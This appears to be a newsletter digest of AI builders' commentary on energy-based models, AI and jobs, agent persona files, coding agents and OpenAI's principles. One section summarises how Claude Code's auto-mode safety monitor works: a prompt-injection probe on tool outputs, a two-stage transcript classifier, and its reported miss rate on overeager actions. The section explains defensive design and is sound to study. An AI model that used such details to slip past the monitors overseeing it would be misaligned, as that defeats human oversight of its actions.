AI Builders
Digest

Logical Intelligence founder and CEO Eve Bodnia shared deep insights on AI architectures in the AI & I podcast. She argues that autoregressive next-token prediction in LLMs is fundamentally "guessing" and prone to hallucinations, making them unsuitable for mission-critical systems like self-driving cars or chip design. Energy-Based Models (EBMs) differ: they are non-autoregressive and token-free, building energy landscapes via energy minimization to plan routes with a bird's-eye view and avoid one-way mistakes. EBMs enable internal self-alignment and external verifiers for double assurance, making AI more inspectable and reliable.

Eve Bodnia stresses that intelligence shouldn't depend on language; many tasks like spatial reasoning or engineering don't need token sequences. Logical Intelligence's Kona model (energy-based reasoning model with latent variables) aims to fill the market gap with deterministic AI. She uses physics analogies for energy minimization and notes EBMs excel with sparse data while complementing LLMs for verification and logic tasks where LLMs fall short.

Key insight: Massive LLM investments exist, but gaps remain in large-scale data analysis, decision pipelines, and critical applications. EBMs offer a more efficient, less hallucinatory alternative, especially for verifiable outputs.

Box CEO Aaron Levie observes a Gell-Mann amnesia effect: people using AI on their own jobs deeply feel the complexities of the "last mile" — data access, context needs, output review, and business process integration — yet assume AI will immediately eliminate entire functions in others' jobs.

He identifies two subtle factors in agent-induced overwork: first, AI dramatically increases leverage on incremental effort, giving individuals a manager-like frustration when agents aren't maximized; second, AI lowers the barrier to starting tasks, leading to more projects reaching 90% completion while the final 10% takes most of the time. This will ultimately create jobs as experiments get promoted to production.

Levie cautions skepticism toward theories of massive AI-driven job loss, as they overlook all the invisible work required to make AI effective for a full job.

Y Combinator President and CEO Garry Tan shared a framework for building AI agents that feel "like you": not a single system prompt, but three files.

SOUL.md defines the agent's identity, voice, values, and output standards (e.g., brevity mandatory, humor mandatory, uncomfortable truths welcome), making it sound like a peer with taste rather than a chatbot. USER.md deeply models the user's mind, work, blind spots, and triggers (his is ~4000 words). AGENTS.md sets operational rules, failure handling, and lookup chains.

Tan stresses that the more specific and opinionated SOUL.md is, the more alive the output. Generic instructions yield generic results; a highly personalized constitution creates something living. His OpenClaw agent even refuses late-night responses based on health goals.

Anthropic Engineering blog announces Claude Code auto mode, an intermediate permission mode that delegates approvals to model-based classifiers for better autonomy with safety. By default, Claude Code requests approvals to prevent dangerous actions, leading to approval fatigue. Auto mode uses a prompt-injection probe at the input layer to scan tool outputs and a transcript classifier (powered by Sonnet 4.6) at the output layer to evaluate if actions align with user intent.

The classifier employs a two-stage design: a fast single-token filter followed by chain-of-thought only when flagged. Results show 0.4% FPR on real traffic and 17% FNR on real overeager actions. It targets threats like overeager behavior, honest mistakes, and prompt injection, allowing in-project file ops while blocking scope escalation, credential exploration, etc.

Practical implications: Replaces --dangerously-skip-permissions with fewer interruptions. Ideal for tasks needing autonomy with guardrails. Includes deny-and-continue so agents retry safer paths after blocks.

OpenClaw/OpenAI-affiliated developer Peter Steinberger released several practical tools.

wacrawl 0.2.0 adds encrypted Git backup/restore for WhatsApp Desktop archives using age-encrypted shards to GitHub.

birdclaw offers truly local tweet storage: imports archives, backs up to GitHub, and supports daily X bookmark imports (since not fully accessible via API).

He switched local tests to @useblacksmith, where Codex can spin up 32vCPU instances to rip through test suites, greatly relieving CPU constraints.

Vercel CEO Guillermo Rauch argues that coding agents will be the foundation of all superintelligence. At minimum, coding ability is indistinguishable from "proficiency with computers." Great agents like Claude Code master bash, filesystems, configuring programs, etc. More importantly, self-improvement: agents can examine their source, state, and skills, proposing changes to themselves (with human supervision) or mutating directly.

Quoting Richard Feynman: "What I cannot create, I cannot understand." Coding fluency gives models deeper understanding of all computer and knowledge work. To master programs, you must be able to create them.

OpenAI CEO Sam Altman expressed gratification at the positive reception to the 5.5 model, particularly builders finding the tools useful. He shared OpenAI's principles: Democratization, Empowerment, Universal Prosperity, Resilience, and Adaptability.

Altman also suggested it's a good time to seriously rethink how operating systems and user interfaces are designed, and that the internet should have a protocol equally usable by people and agents.

Swyx and Kevin Weil shared visual or quoted content; Peter Yang discussed improving his mobile fitness app with an MCP server for Claude integration and noted a missed opportunity with Gemini for photo highlight reels; Nan Yu commented on a FindMy alternative app and language notes; Nikunj and Aditya Agarwal posted brief observations or inspirational notes; Dan Shipper shared a humorous Claw interaction.